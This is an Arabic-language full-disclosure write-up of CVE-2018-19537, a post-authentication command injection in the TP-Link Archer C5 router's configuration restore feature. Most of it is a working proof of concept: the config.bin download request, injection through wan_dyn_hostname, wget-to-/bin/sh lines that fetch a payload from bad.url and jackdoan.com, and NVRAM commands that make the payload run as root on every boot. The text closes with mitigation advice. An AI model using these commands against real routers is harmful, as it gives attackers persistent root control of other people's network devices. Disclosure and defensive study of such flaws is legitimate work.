
CVE-2018-19537
توجد ثغرة تنفيذ أوامر عن بُعد (RCE) بعد المصادقة في جميع إصدارات البرنامج الثابت المنشورة لجهاز التوجيه TP-Link Archer C5. من خلال رفع ملف إعداد مُصمَّم بشكل خبيث، يمكن للمهاجم حقن أوامر نظام التشغيل التي يتم تنفيذها بصلاحيات الجذر (root).
يسمح جهاز التوجيه Archer C5 للمستخدمين الإداريين بحفظ معاملات الإعداد الحالية في ملف، واستعادة المعاملات من ملف. يبدو أن هذه المعاملات تتم معالجتها (تعقيمها) بشكل صحيح عندما يحاول المستخدم تعيينها من خلال الواجهة الرسومية للويب. ومع ذلك، لا يتم تعقيمها بشكل صحيح عند تعيينها من ملف إعداد. على وجه التحديد، قمنا بحقن أوامر نظام التشغيل عبر المعامل wan_dyn_hostname 1 <name> داخل ملف الإعداد المرفوع. قد تكون معاملات أخرى عرضة للثغرة أيضًا.
يمكن تنزيل ملف إعداد صالح من قائمة “Backup & Restore” في الواجهة الرسومية للويب لجهاز التوجيه. سيؤدي طلب HTTP التالي إلى تنزيل نسخة احتياطية من إعدادات جهاز التوجيه الحالية:
GET /userRpm/config.bin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux ia64; rv:60.0) Foxfire/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm
Cookie: Authorization=Basic%20YWRtaW46cGFzc3dvcmQ%3D
Connection: close
Upgrade-Insecure-Requests: 1
يحتوي الرد على الملف “config.bin”، وهو ملف الإعداد الذي سنقوم بالتلاعب به.
يتم إخفاء ملفات الإعداد عن طريق تشفيرها باستخدام خوارزمية DES بمفتاح مضمّن في الكود (hard-coded key). يبدو أن هذا المفتاح المضمّن يُعاد استخدامه عبر العديد من منتجات TP-Link. يعود الفضل إلى Matteo Croce في اكتشاف قيمة هذا المفتاح المضمّن. http://teknoraver.net/software/hacks/tplink/
تم إرفاق سكربتي بايثون بسيطين لتشفير وفك تشفير ملفات الإعداد - “binify.py” و “unbinify.py” على التوالي. سيحتوي ملف الإعداد المفكوك تشفيره على معاملات مثل هذه:
wan_dns_auto 2 0
wan_dyn_mtu 1 1500
wan_dyn_mtu 2 0
wan_dyn_ucst 1 0
wan_dyn_ucst 2 0
wan_dyn_hostname 1 Archer_C5
wan_stc_ip 1 0.0.0.0
wan_stc_ip 2 0.0.0.0
wan_stc_msk 1 0.0.0.0
يمكننا التلاعب بملف الإعداد المفكوك تشفيره عن طريق إضافة أمر BusyBox خبيث إلى المعامل “wan_dyn_hostname”، على النحو التالي:
wan_dyn_hostname 1 `wget -O - http://bad.url/hack | /bin/sh`
ثم نقوم بتشفير ملف الإعداد الخبيث الجديد ورفعه عبر الواجهة الرسومية للويب. سيقوم جهاز التوجيه بإعادة التشغيل تلقائيًا. في وقت مبكر من عملية الإقلاع، عند تشغيل برنامج httpd، يتم تنفيذ أمر BusyBox الخبيث الخاص بنا. الكود الزائف للجزء ذي الصلة من httpd يشبه ما يلي:
char hostname[64];
char to_run[256];
memcpy(hostname, some_value_somewhere, 63);
snprintf(to_run, 256, "udhcpc -h %s -i eth0", hostname)
system(to_run);
// Continue setting up network interfaces and connectivity
هناك عدة قيود على هذا الاستغلال، حتى أبعد من قيد الاضطرار إلى استخدام BusyBox. لا يبدو أن خادم Dropbear SSH و telnetd يعملان عبر الشبكة اللاسلكية، كما أن اسم المضيف محدود بواسطة البرنامج الثابت بـ 63 حرفًا. تجاوز هذا الحد يستبدل إعدادات أخرى ويكسر الوصول إلى الإنترنت. علاوة على ذلك، يجب أن يعود httpd من استدعاء system() قبل أن يكون لديه أي اتصال شبكة فعلي (لأن استدعاء system() الذي نستغله هو نفسه الذي يطلب عنوان WAN IP الخاص بنا)، ونظام الملفات الجذر للقراءة فقط. الأمر الخبيث في المثال أعلاه لن يعمل؛ سيفشل httpd في تنزيل عنوان URL باستخدام wget لأنه لا يمتلك وصولاً إلى الإنترنت بعد، وسيعود من استدعاء system()، ثم يستمر في العمل بشكل طبيعي.
إذن في هذه المرحلة يمكننا تشغيل أمر BusyBox بطول 63 حرفًا، على نظام ملفات للقراءة فقط، دون طريقة بسيطة لجعل البرنامج ينتظر حتى ينتهي من إعداد الاتصال بالشبكة قبل تنفيذ أمرنا. لا يمكننا ببساطة أن نطلب منه النوم لبضع دقائق ثم التنفيذ، لأن استدعاء system() الذي نحقن فيه يمنع تنفيذ البرنامج.
شيء واحد يمكننا القيام به، مع ذلك، هو تشغيل نسخة أخرى من httpd عند هذه النقطة من التنفيذ. ستقوم نسخة httpd هذه أيضًا بتشغيل استدعاء system() هذا، مما يتركنا في حلقة ستستمر في إنشاء المزيد من نسخ httpd، ولكنها تسمح لعمليات httpd الأصلية بمواصلة التنفيذ واستعادة الاتصال بالشبكة في النهاية. لتجنب نفاد الذاكرة، ننهي هذه الحلقة عن طريق التحقق مما إذا كان الاستغلال الخاص بنا قد تم تنزيله.
بالعمل ضمن القيود المذكورة أعلاه، توصلنا إلى سكربت شل التالي، الذي يجلب ملفًا من الإنترنت عبر wget ويرسله مباشرة إلى /bin/sh.
cd /tmp
if [ ! -f B ]; then
httpd &
sleep 15
wget http://jackdoan.com/B
/bin/sh B
fi
أو، في سطر واحد وبصيغة مصغّرة:
cd /tmp; if [ ! -f B ]; then (httpd & sleep 15; wget http://jackdoan.com/B; /bin/sh B) fi
يبلغ طول هذا السكربت 89 حرفًا، لذا نحتاج إلى رفعه على دفعات. ولكن كيف؟ رفع أمر يؤدي إلى إعادة تشغيل، وإعادة التشغيل تُحدّث حالة جهاز التوجيه. أدركنا أنه يمكننا إنشاء متغير NVRAM خاص بنا، والإشارة إليه في الأوامر اللاحقة لبناء أمر نقوم بتشغيله في النهاية.
استخدمنا الثغرة لحقن الأوامر التالية وبناء استغلال:
; nvram set "a=cd /tmp; if [ ! -f B ]; then (htt";nvram commit
; nvram set "a=`nvram get a`pd & sleep 15; wget";nvram commit
; nvram set "a=`nvram get a` http://jackdoan.co";nvram commit
; nvram set "a=`nvram get a`m/B; /bin/sh B) fi"; nvram commit
وأخيرًا، نقوم بتشغيل الاستغلال عن طريق تعيين اسم المضيف إلى:
; udhcpc; nvram get a | /bin/sh ;
سيتم تشغيل هذا السكربت المخزن في NVRAM لجهاز التوجيه عند كل إقلاع، وسيبدو جهاز التوجيه وكأنه يستمر في العمل بشكل طبيعي. النتيجة النهائية هي أن جهاز التوجيه سيتصل بالإنترنت، وينزل ملفًا، ويشغّله بصلاحيات الجذر في كل مرة يُقلع فيها.
كما هو موضح، يمكن استغلال هذه الثغرة لجعل جهاز التوجيه يتصل بالإنترنت، ويلتقط حمولة، ويشغّلها بصلاحيات الجذر. لذلك هناك تأثير كبير على سرية المعلومات وسلامتها وتوافر الجهاز.
عملية حقن أمر عبر معامل wan_dyn_hostname في ملف الإعداد بسيطة. أما تجاوز قيود هذا الأمر لتشغيل أي حمولة تعسفية دون تعطيل وظائف جهاز التوجيه الطبيعية فهو أمر معقد إلى حد ما.
هذا الهجوم متوسط الظهور، لأنه يتطلب إعادة تشغيل واحدة على الأقل للجهاز. يتطلب إثبات المفهوم (POC) الخاص بنا 5 عمليات إعادة تشغيل متتالية، لكنه يستمر حتى تتم إعادة ضبط الجهاز على إعدادات المصنع.
يمكن استغلال هذه الثغرة من قبل أي شخص لديه حق الوصول إلى حساب المسؤول عبر الويب. وبالتالي، مع التكوين الافتراضي لجهاز التوجيه، يمكن استغلالها عبر اتصال LAN / WLAN باستخدام بيانات اعتماد المسؤول الافتراضية “admin:admin”. يمكن استغلال هذه الثغرة عن بُعد عبر الإنترنت، إذا تم تفعيل الإدارة عن بُعد. الإدارة عن بُعد معطلة افتراضيًا.
هذه الثغرة بسيطة نسبيًا، مما يقودنا إلى الاعتقاد بأنه من المحتمل أنه تم اكتشافها واستغلالها من قبل. الدفاع ضد هذا الهجوم بسيط للغاية أيضًا: لا تستخدم كلمة مرور المسؤول الافتراضية. كلمة مرور قوية لحساب المسؤول عبر الويب ستمنع هذا الهجوم. نظرًا لأنه من السهل جدًا استغلالها، ومن السهل جدًا أيضًا التخفيف منها، نعتقد أن الكشف الكامل هو في مصلحة الجمهور.
بالنسبة لإثبات المفهوم الخاص بنا، قمنا بالحقن عبر معامل “wan_dyn_hostname”. ومع ذلك، يحتوي ملف الإعداد على 1190 معاملًا في المجموع، والعديد منها قد يكون قابلاً للحقن.